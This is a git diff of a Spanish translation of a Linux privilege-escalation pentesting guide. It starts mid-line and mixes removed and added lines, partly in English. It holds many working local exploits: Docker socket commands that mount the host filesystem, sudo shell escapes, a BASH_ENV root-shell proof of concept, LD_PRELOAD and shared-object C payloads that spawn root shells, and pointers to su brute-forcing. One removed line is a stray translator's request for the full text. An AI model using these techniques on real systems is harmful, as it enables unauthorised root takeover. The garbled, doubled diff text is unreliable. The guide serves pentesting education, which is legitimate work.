ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -Entonces, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta del PATH de systemd a la que puedas escribir, y cuando el servicio solicite ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor se ejecutará** (los usuarios sin privilegios normalmente no pueden iniciar/detener servicios, pero comprueba si puedes usar `sudo -l`). +Después, crea un **ejecutable** con el **mismo nombre que el binario de la ruta relativa** dentro de la carpeta del PATH de systemd que puedas escribir, y cuando al servicio se le solicite ejecutar la acción vulnerable (**Start**, **Stop**, **Reload**), tu **backdoor será ejecutado** (los usuarios sin privilegios normalmente no pueden iniciar/parar servicios, pero comprueba si puedes usar `sudo -l`). -**Aprende más sobre los servicios con `man systemd.service`.** +**Obtén más información sobre servicios con `man systemd.service`.** ## **Temporizadores** -Los temporizadores son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan archivos o eventos `**.service**`. Los temporizadores pueden usarse como alternativa a cron, ya que tienen soporte integrado para eventos de calendario y eventos de tiempo monotónico, y pueden ejecutarse de forma asíncrona. +**Temporizadores** son archivos de unidad de systemd cuyo nombre termina en `**.timer**` que controlan `**.service**` files or events. **Temporizadores** pueden utilizarse como alternativa a cron ya que tienen soporte integrado para eventos basados en calendario y eventos de tiempo monotónico y pueden ejecutarse de forma asíncrona. Puedes enumerar todos los temporizadores con: ```bash systemctl list-timers --all ``` -### Timers escribibles +### Temporizadores modificables -Si puedes modificar un timer, puedes hacer que ejecute algunas unidades existentes de systemd.unit (como una `.service` o una `.target`) +Si puedes modificar un temporizador puedes hacer que ejecute unidades existentes de systemd.unit (como `.service` o `.target`) ```bash Unit=backdoor.service ``` -En la documentación puedes leer qué es la unidad: +En la documentación puedes leer qué es la Unit: -> La unidad que se activará cuando este timer expire. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto es un service que tiene el mismo nombre que la unidad timer, salvo por el sufijo. (Ver arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad timer sean idénticos, excepto por el sufijo. +> La unidad que se activa cuando expira este timer. El argumento es un nombre de unidad, cuyo sufijo no es ".timer". Si no se especifica, este valor por defecto es un service que tiene el mismo nombre que la unidad timer, excepto por el sufijo. (Véase más arriba.) Se recomienda que el nombre de la unidad que se activa y el nombre de la unidad timer sean idénticos, excepto por el sufijo. Por lo tanto, para abusar de este permiso necesitarías: -- Encontrar alguna systemd unit (como una `.service`) que esté **ejecutando un binario escribible** -- Encontrar alguna systemd unit que esté **ejecutando una ruta relativa** y en la que tengas **privilegios de escritura** sobre el **systemd PATH** (para suplantar ese ejecutable) +- Encontrar alguna unidad de systemd (como una `.service`) que esté **ejecutando un binario escribible** +- Encontrar alguna unidad de systemd que esté **ejecutando una ruta relativa** y sobre la **systemd PATH** tengas **privilegios de escritura** (para suplantar ese ejecutable) -**Aprende más sobre timers con `man systemd.timer`.** +**Más información sobre timers con `man systemd.timer`.** ### **Habilitar Timer** -Para habilitar un timer necesitas privilegios root y ejecutar: +Para habilitar un timer necesitas privilegios de root y ejecutar: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. ``` -Note the **timer** is **activated** by creating a symlink to it on `/etc/systemd/system/.wants/.timer` +Nota que el **timer** se **activa** creando un symlink hacia él en `/etc/systemd/system/.wants/.timer` ## Sockets -Unix Domain Sockets (UDS) permiten la **comunicación entre procesos** en la misma u otras máquinas dentro de modelos cliente-servidor. Utilizan ficheros de descriptor Unix estándar para la comunicación entre equipos y se configuran mediante archivos `.socket`. +Unix Domain Sockets (UDS) permiten la **comunicación entre procesos** en la misma u otras máquinas dentro de modelos cliente-servidor. Utilizan archivos de descriptor Unix estándar para la comunicación entre procesos y se configuran mediante archivos `.socket`. -Sockets can be configured using `.socket` files. +Sockets pueden configurarse usando archivos `.socket`. **Learn more about sockets with `man systemd.socket`.** Dentro de este archivo se pueden configurar varios parámetros interesantes: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes pero en resumen se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo AF_UNIX, la IPv4/6 y/o el número de puerto a escuchar, etc.) -- `Accept`: Toma un argumento booleano. Si **true**, se genera una **instancia de servicio por cada conexión entrante** y solo el socket de la conexión se le pasa. Si **false**, todos los sockets en escucha se **pasan a la unidad de servicio iniciada**, y solo se crea una unidad de servicio para todas las conexiones. Este valor se ignora para sockets datagrama y FIFOs, donde una única unidad de servicio atiende incondicionalmente todo el tráfico entrante. **Por defecto es false**. Por razones de rendimiento, se recomienda escribir nuevos daemons de forma adecuada a `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Toman una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs en escucha sean **creados** y vinculados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de los argumentos para el proceso. -- `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs en escucha sean **cerrados** y eliminados, respectivamente. -- `Service`: Especifica el nombre de la unidad de **service** **a activar** con **tráfico entrante**. Esta opción solo está permitida para sockets con Accept=no. Por defecto apunta al servicio que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos no debería ser necesario usar esta opción. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Estas opciones son diferentes pero en resumen se usan para **indicar dónde va a escuchar** el socket (la ruta del archivo de socket AF_UNIX, el número de IPv4/6 y/o puerto a escuchar, etc.) +- `Accept`: Toma un argumento booleano. Si es **true**, se **lanza una instancia del servicio por cada conexión entrante** y solo se le pasa el socket de la conexión. Si es **false**, todos los sockets de escucha se **pasan a la unidad de servicio iniciada**, y solo se ejecuta una unidad de servicio para todas las conexiones. Este valor se ignora para datagram sockets y FIFOs donde una única unidad de servicio maneja incondicionalmente todo el tráfico entrante. **Defaults to false**. Por razones de rendimiento, se recomienda escribir nuevos daemons solo de una manera adecuada para `Accept=no`. +- `ExecStartPre`, `ExecStartPost`: Aceptan una o más líneas de comando, que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **creados** y enlazados, respectivamente. El primer token de la línea de comando debe ser un nombre de archivo absoluto, seguido de argumentos para el proceso. +- `ExecStopPre`, `ExecStopPost`: Comandos adicionales que se **ejecutan antes** o **después** de que los **sockets**/FIFOs de escucha sean **cerrados** y eliminados, respectivamente. +- `Service`: Especifica el nombre de la unidad de **service** **a activar** con **tráfico entrante**. Esta configuración solo está permitida para sockets con Accept=no. Por defecto apunta al service que tiene el mismo nombre que el socket (con el sufijo reemplazado). En la mayoría de los casos, no debería ser necesario usar esta opción. ### Writable .socket files -Si encuentras un archivo `.socket` **escribible** puedes **añadir** al comienzo de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que se cree el socket. Por lo tanto, **probablemente necesitarás esperar hasta que la máquina se reinicie.**\ -_Ten en cuenta que el sistema debe estar usando esa configuración de archivo de socket o el backdoor no se ejecutará_ +Si encuentras un archivo `.socket` **escribible** puedes **añadir** al inicio de la sección `[Socket]` algo como: `ExecStartPre=/home/kali/sys/backdoor` y el backdoor se ejecutará antes de que el socket sea creado. Por lo tanto, **probablemente necesites esperar hasta que la máquina sea reiniciada.**\ +_Nota que el sistema debe estar usando esa configuración de archivo socket o el backdoor no se ejecutará_ ### Writable sockets -Si **identificas algún socket escribible** (_ahora nos referimos a Unix Sockets y no a los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y quizá explotar alguna vulnerabilidad. +Si **identificas algún socket escribible** (_ahora hablamos de Unix Sockets y no de los archivos de configuración `.socket`_), entonces **puedes comunicarte** con ese socket y quizá explotar una vulnerabilidad. ### Enumerate Unix Sockets ```bash @@ -507,28 +507,28 @@ socket-command-injection.md ### HTTP sockets -Ten en cuenta que puede haber algunos **sockets listening for HTTP** requests (_no me refiero a archivos .socket sino a los archivos que actúan como unix sockets_). Puedes comprobarlo con: +Ten en cuenta que puede haber algunos **sockets listening for HTTP** requests (_no me refiero a .socket files sino a los archivos que actúan como unix sockets_). Puedes comprobarlo con: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -Si el socket **responde con una solicitud HTTP**, entonces puedes **comunicarte** con él y quizá **exploit some vulnerability**. +Si el socket **responde a una petición HTTP**, entonces puedes **comunicarte** con él y quizá **explotar alguna vulnerabilidad**. -### Docker socket escribible +### Socket de Docker con permisos de escritura -El Docker socket, a menudo ubicado en `/var/run/docker.sock`, es un archivo crítico que debe estar asegurado. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede conducir a privilege escalation. Aquí hay un desglose de cómo se puede hacer esto y métodos alternativos si el Docker CLI no está disponible. +El socket de Docker, a menudo encontrado en `/var/run/docker.sock`, es un archivo crítico que debe estar asegurado. Por defecto, es escribible por el usuario `root` y los miembros del grupo `docker`. Poseer acceso de escritura a este socket puede llevar a una escalada de privilegios. Aquí tienes un desglose de cómo puede hacerse esto y métodos alternativos si el Docker CLI no está disponible. -#### **Privilege Escalation with Docker CLI** +#### **Escalada de privilegios con Docker CLI** -Si tienes acceso de escritura al Docker socket, puedes escalate privileges usando los siguientes comandos: +Si tienes acceso de escritura al socket de Docker, puedes escalar privilegios usando los siguientes comandos: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Estos comandos permiten ejecutar un contenedor con acceso root al sistema de archivos del host. +Estos comandos te permiten ejecutar un contenedor con acceso root al sistema de archivos del host. -#### **Uso directo de Docker API** +#### **Uso directo del Docker API** -En casos en los que Docker CLI no esté disponible, el Docker socket aún puede manipularse usando Docker API y comandos `curl`. +En casos en que el Docker CLI no esté disponible, el Docker socket todavía puede manipularse usando el Docker API y comandos `curl`. 1. **List Docker Images:** Recupera la lista de imágenes disponibles. @@ -536,19 +536,19 @@ En casos en los que Docker CLI no esté disponible, el Docker socket aún puede curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Envía una petición para crear un contenedor que monte el directorio raíz del sistema host. +2. **Create a Container:** Envía una solicitud para crear un contenedor que monte el directorio raíz del sistema host. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Inicia el contenedor recién creado: +Start the newly created container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Usa `socat` para establecer una conexión con el contenedor, permitiendo la ejecución de comandos dentro de éste. +3. **Attach to the Container:** Usa `socat` para establecer una conexión al contenedor, habilitando la ejecución de comandos dentro de él. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -558,31 +558,31 @@ Connection: Upgrade Upgrade: tcp ``` -Después de establecer la conexión con `socat`, puedes ejecutar comandos directamente en el contenedor con acceso root al sistema de archivos del host. +Después de establecer la conexión `socat`, puedes ejecutar comandos directamente en el contenedor con acceso root al sistema de archivos del host. ### Otros -Tenga en cuenta que si tiene permisos de escritura sobre el docker socket porque está **inside the group `docker`** tiene [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Si el [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Ten en cuenta que si tienes permisos de escritura sobre el docker socket porque estás **dentro del grupo `docker`** tienes [**más formas de escalar privilegios**](interesting-groups-linux-pe/index.html#docker-group). Si el [**docker API está escuchando en un puerto** también podrías comprometerlo](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Consulta **more ways to break out from docker or abuse it to escalate privileges** en: +Consulta **más maneras de escapar de docker o abusarlo para escalar privilegios** en: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) escalada de privilegios -Si descubre que puede usar el comando **`ctr`**, lea la siguiente página ya que **you may be able to abuse it to escalate privileges**: +Si descubres que puedes usar el comando **`ctr`**, lee la siguiente página ya que **podrías abusar de él para escalar privilegios**: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** escalada de privilegios -Si descubre que puede usar el comando **`runc`** lea la siguiente página ya que **you may be able to abuse it to escalate privileges**: +Si descubres que puedes usar el comando **`runc`**, lee la siguiente página ya que **podrías abusar de él para escalar privilegios**: {{#ref}} @@ -591,15 +591,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus es un sofisticado sistema de intercomunicación entre procesos (IPC) que permite a las aplicaciones interactuar eficientemente y compartir datos. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. +D-Bus es un sofisticado **sistema de Comunicación entre Procesos (IPC)** que permite a las aplicaciones interactuar y compartir datos de forma eficiente. Diseñado pensando en el sistema Linux moderno, ofrece un marco robusto para diferentes formas de comunicación entre aplicaciones. -El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, de forma similar a los **enhanced UNIX domain sockets**. Además, ayuda en la difusión de eventos o señales, fomentando la integración fluida entre componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede indicar a un reproductor de música que silencie el sonido, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando solicitudes de servicio e invocaciones de métodos entre aplicaciones, agilizando procesos que tradicionalmente eran complejos. +El sistema es versátil, soportando IPC básico que mejora el intercambio de datos entre procesos, similar a **sockets de dominio UNIX mejorados**. Además, ayuda a la difusión de eventos o señales, fomentando una integración fluida entre componentes del sistema. Por ejemplo, una señal de un daemon de Bluetooth sobre una llamada entrante puede provocar que un reproductor de música se silencie, mejorando la experiencia del usuario. Adicionalmente, D-Bus soporta un sistema de objetos remotos, simplificando peticiones de servicio e invocaciones de métodos entre aplicaciones, racionalizando procesos que tradicionalmente eran complejos. -D-Bus funciona con un modelo de permit/deny (allow/deny), gestionando permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basado en el efecto acumulado de reglas de política que coinciden. Estas políticas especifican interacciones con el bus, pudiendo potencialmente permitir escalada de privilegios mediante la explotación de dichos permisos. +D-Bus opera con un **modelo permitir/denegar**, gestionando los permisos de mensajes (llamadas a métodos, emisión de señales, etc.) basado en el efecto acumulado de reglas de políticas que coinciden. Estas políticas especifican interacciones con el bus, potencialmente permitiendo una escalada de privilegios mediante la explotación de dichos permisos. -Se proporciona un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para el usuario root para poseer, enviar y recibir mensajes de `fi.w1.wpa_supplicant1`. +Se muestra un ejemplo de tal política en `/etc/dbus-1/system.d/wpa_supplicant.conf`, detallando permisos para el usuario root para poseer, enviar a y recibir mensajes de `fi.w1.wpa_supplicant1`. -Las políticas sin un usuario o grupo especificado se aplican de forma universal, mientras que las políticas de contexto "default" se aplican a todos los que no estén cubiertos por otras políticas específicas. +Las políticas sin un usuario o grupo especificado se aplican universalmente, mientras que las políticas en el contexto "default" se aplican a todos los no cubiertos por otras políticas específicas. ```xml @@ -617,7 +617,7 @@ d-bus-enumeration-and-command-injection-privilege-escalation.md ## **Red** -Siempre es interesante enumerar la red y averiguar la posición de la máquina. +Siempre es interesante enumerar la red y determinar la posición de la máquina. ### Enumeración genérica ```bash @@ -644,14 +644,14 @@ lsof -i ``` ### Puertos abiertos -Siempre comprueba los servicios de red que se están ejecutando en la máquina con los que no pudiste interactuar antes de acceder a ella: +Siempre comprueba los servicios de red que se estén ejecutando en la máquina y con los que no pudiste interactuar antes de acceder a ella: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Comprueba si puedes sniff traffic. Si puedes, podrías ser capaz de obtener algunas credenciales. +Comprueba si puedes sniff traffic. Si puedes, podrías ser capaz de obtener algunas credentials. ``` timeout 1 tcpdump ``` @@ -659,7 +659,7 @@ timeout 1 tcpdump ### Enumeración genérica -Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **iniciar sesión** y cuáles tienen **privilegios root:** +Comprueba **quién** eres, qué **privilegios** tienes, qué **usuarios** hay en los sistemas, cuáles pueden **login** y cuáles tienen **root privileges:** ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -683,10 +683,10 @@ gpg --list-keys 2>/dev/null ``` ### Big UID -Algunas versiones de Linux se vieron afectadas por una vulnerabilidad que permite a usuarios con **UID > INT_MAX** escalar privilegios. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +Algunas versiones de Linux se vieron afectadas por una vulnerabilidad que permite a usuarios con **UID > INT_MAX** elevar privilegios. Más info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) y [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** -### Groups +### Grupos Comprueba si eres **miembro de algún grupo** que podría concederte privilegios de root: @@ -695,7 +695,7 @@ Comprueba si eres **miembro de algún grupo** que podría concederte privilegios interesting-groups-linux-pe/ {{#endref}} -### Clipboard +### Portapapeles Comprueba si hay algo interesante en el portapapeles (si es posible) ```bash @@ -712,29 +712,29 @@ fi ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` -### Known passwords +### Contraseñas conocidas -If you **conozcas alguna contraseña** del entorno **intentes iniciar sesión como cada usuario** usando la contraseña. +Si **conoces alguna contraseña** del entorno **intenta iniciar sesión como cada usuario** usando la contraseña. ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +Si no te importa generar mucho ruido y los binarios `su` y `timeout` están presentes en el equipo, puedes intentar brute-forcear usuarios usando [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) con el parámetro `-a` también intenta brute-forcear usuarios. -## Writable PATH abuses +## Abusos de PATH escribible ### $PATH -If you find that you can **escribir dentro de alguna carpeta del $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +Si descubres que puedes **escribir dentro de alguna carpeta del $PATH** podrías escalar privilegios creando una **backdoor dentro de la carpeta escribible** con el nombre de algún comando que vaya a ser ejecutado por un usuario distinto (idealmente root) y que **no se cargue desde una carpeta situada antes** de tu carpeta escribible en el $PATH. ### SUDO and SUID -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +Podrías tener permitido ejecutar algún comando usando sudo o podría tener el suid bit. Compruébalo usando: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Algunos comandos **inesperados permiten leer y/o escribir archivos o incluso ejecutar un comando.** Por ejemplo: +Algunos **comandos inesperados permiten leer y/o escribir archivos o incluso ejecutar un comando.** Por ejemplo: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -745,13 +745,13 @@ less>! ``` ### NOPASSWD -La configuración de sudo podría permitir a un usuario ejecutar algún comando con los privilegios de otro usuario sin conocer la contraseña. +La configuración de sudo puede permitir que un usuario ejecute un comando con los privilegios de otro usuario sin conocer la contraseña. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`, ahora es trivial obtener una shell añadiendo una ssh key en el directorio root o ejecutando `sh`. +En este ejemplo el usuario `demo` puede ejecutar `vim` como `root`; ahora es trivial obtener un shell añadiendo una ssh key en el directorio `root` o ejecutando `sh`. ``` sudo vim -c '!sh' ``` @@ -763,13 +763,38 @@ $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Este ejemplo, **basado en HTB machine Admirer**, fue **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca python arbitraria mientras se ejecutaba el script como root: +Este ejemplo, **basado en la máquina HTB Admirer**, era **vulnerable** a **PYTHONPATH hijacking** para cargar una biblioteca python arbitraria mientras se ejecutaba el script como root: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` -### Sudo: eludir rutas de ejecución +### BASH_ENV preservado mediante sudo env_keep → root shell -**Saltar** para leer otros archivos o usar **symlinks**. Por ejemplo, en el archivo sudoers: _hacker10 ALL= (root) /bin/less /var/log/\*_ +Si sudoers preserva `BASH_ENV` (p. ej., `Defaults env_keep+="ENV BASH_ENV"`), puedes aprovechar el comportamiento de inicio no interactivo de Bash para ejecutar código arbitrario como root al invocar un comando permitido. + +- Why it works: Para shells no interactivos, Bash evalúa `$BASH_ENV` y carga ese archivo con source antes de ejecutar el script objetivo. Muchas reglas de sudo permiten ejecutar un script o un wrapper de shell. Si `BASH_ENV` es preservado por sudo, tu archivo se cargará con privilegios de root. + +- Requisitos: +- Una regla de sudo que puedas ejecutar (cualquier target que invoque `/bin/bash` de manera no interactiva, o cualquier bash script). +- `BASH_ENV` presente en `env_keep` (verificar con `sudo -l`). + +- PoC: +```bash +cat > /dev/shm/shell.sh <<'EOF' +#!/bin/bash +/bin/bash +EOF +chmod +x /dev/shm/shell.sh +BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/binary that triggers bash +# You should now have a root shell +``` +- Endurecimiento: +- Elimine `BASH_ENV` (y `ENV`) de `env_keep`, prefiera `env_reset`. +- Evite wrappers de shell para comandos permitidos por sudo; utilice binarios mínimos. +- Considere el registro I/O de sudo y la generación de alertas cuando se usan variables de entorno preservadas. + +### Rutas que permiten eludir la ejecución de sudo + +**Saltar** para leer otros archivos o usar **enlaces simbólicos**. Por ejemplo en sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -786,21 +811,21 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Contramedidas**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo command/SUID binary sin ruta del comando +### Sudo command/SUID binary sin especificar la ruta del comando -Si el **permiso de sudo** se da para un único comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH +Si se otorga el **permiso de sudo** a un solo comando **sin especificar la ruta**: _hacker10 ALL= (root) less_ puedes explotarlo cambiando la variable PATH ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` -Esta técnica también puede usarse si un binario **suid** **ejecuta otro comando sin especificar la ruta al mismo (siempre comprueba con** _**strings**_ **el contenido de un binario SUID extraño)**. +Esta técnica también puede usarse si un binario **suid** **ejecuta otro comando sin especificar la ruta (siempre verifica con** _**strings**_ **el contenido de un binario SUID extraño)**. [Payload examples to execute.](payloads-to-execute.md) -### Binario suid con ruta del comando +### Binario SUID con ruta del comando -Si el binario **suid** **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que el archivo suid está invocando. +Si el binario **suid** **ejecuta otro comando especificando la ruta**, entonces puedes intentar **exportar una función** con el nombre del comando que el archivo suid está llamando. Por ejemplo, si un binario suid llama a _**/usr/sbin/service apache2 start**_ tienes que intentar crear la función y exportarla: ```bash @@ -811,14 +836,14 @@ Entonces, cuando llames al binario suid, esta función se ejecutará ### LD_PRELOAD & **LD_LIBRARY_PATH** -La variable de entorno LD_PRELOAD se utiliza para especificar una o más bibliotecas compartidas (.so files) que deben ser cargadas por el cargador antes que todas las demás, incluida la biblioteca estándar de C (`libc.so`). Este proceso se conoce como precarga de una biblioteca. +La variable de entorno **LD_PRELOAD** se utiliza para especificar una o más librerías compartidas (.so) que el loader cargará antes que las demás, incluida la librería estándar de C (`libc.so`). Este proceso se conoce como precarga de una librería. -Sin embargo, para mantener la seguridad del sistema y evitar que esta característica sea explotada, especialmente con ejecutables suid/sgid, el sistema aplica ciertas condiciones: +Sin embargo, para mantener la seguridad del sistema y evitar que esta característica sea explotada, especialmente con ejecutables **suid/sgid**, el sistema aplica ciertas condiciones: -- El cargador ignora LD_PRELOAD para ejecutables donde el real user ID (_ruid_) no coincide con el effective user ID (_euid_). -- Para ejecutables con suid/sgid, solo se precargan bibliotecas en rutas estándar que también sean suid/sgid. +- El loader ignora **LD_PRELOAD** para ejecutables cuyo identificador de usuario real (_ruid_) no coincide con el identificador de usuario efectivo (_euid_). +- Para ejecutables con suid/sgid, solo se precargan librerías en rutas estándar que también sean suid/sgid. -La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la instrucción **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que potencialmente puede llevar a la ejecución de código arbitrario con privilegios elevados. +La escalada de privilegios puede ocurrir si tienes la capacidad de ejecutar comandos con `sudo` y la salida de `sudo -l` incluye la sentencia **env_keep+=LD_PRELOAD**. Esta configuración permite que la variable de entorno **LD_PRELOAD** persista y sea reconocida incluso cuando los comandos se ejecutan con `sudo`, lo que puede derivar en la ejecución de código arbitrario con privilegios elevados. ``` Defaults env_keep += LD_PRELOAD ``` @@ -835,17 +860,17 @@ setuid(0); system("/bin/bash"); } ``` -A continuación, **compílalo** usando: +Luego **compílalo** usando: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` -Finalmente, **escalate privileges** ejecutando +Finalmente, **escalate privileges** en ejecución ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` > [!CAUTION] -> Un privesc similar puede ser abusado si el atacante controla la **LD_LIBRARY_PATH** env variable porque controla la ruta donde se van a buscar las librerías. +> Un privesc similar puede ser abusado si el atacante controla la variable de entorno **LD_LIBRARY_PATH** porque controla la ruta donde se van a buscar las librerías. ```c #include #include @@ -865,13 +890,13 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` -### SUID Binary – .so injection +### Binario SUID – .so injection -Cuando te encuentras con un binario con permisos **SUID** que parece inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto se puede comprobar ejecutando el siguiente comando: +Al encontrarse con un binario con permisos **SUID** que parezca inusual, es buena práctica verificar si está cargando correctamente archivos **.so**. Esto se puede comprobar ejecutando el siguiente comando: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` -Por ejemplo, encontrarse con un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere la posibilidad de explotación. +Por ejemplo, encontrar un error como _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ sugiere una posible explotación. Para explotarlo, se procedería creando un archivo C, por ejemplo _"/path/to/.config/libcalc.c"_, que contenga el siguiente código: ```c @@ -884,13 +909,13 @@ void inject(){ system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` -Este código, una vez compilado y ejecutado, tiene como objetivo elevar privilegios manipulando permisos de archivos y ejecutando una shell con privilegios elevados. +Este código, una vez compilado y ejecutado, tiene como objetivo elevar privilegios manipulando los permisos de archivos y ejecutando una shell con privilegios elevados. -Compila el archivo C anterior en un shared object (.so) con: +Compile el archivo C anterior en un archivo de objeto compartido (.so) con: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` -Finalmente, ejecutar el binario SUID afectado debería desencadenar el exploit, permitiendo un posible compromiso del sistema. +Finalmente, ejecutar el SUID binary afectado debería desencadenar el exploit, permitiendo una posible compromisión del sistema. ## Shared Object Hijacking ```bash @@ -902,7 +927,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` -Ahora que hemos encontrado un SUID binary que carga una library desde una carpeta donde podemos escribir, vamos a crear la library en esa carpeta con el nombre necesario: +Ahora que hemos encontrado un SUID binary que carga una library desde una carpeta donde podemos escribir, creemos la library en esa carpeta con el nombre necesario: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -915,17 +940,17 @@ setresuid(0,0,0); system("/bin/bash -p"); } ``` -Por favor proporciona la frase completa o el bloque de texto (incluyendo cualquier mensaje de error) que quieres que traduzca. Si viene dentro de un archivo markdown, pégalo tal cual para mantener etiquetas y enlaces. +Si obtienes un error 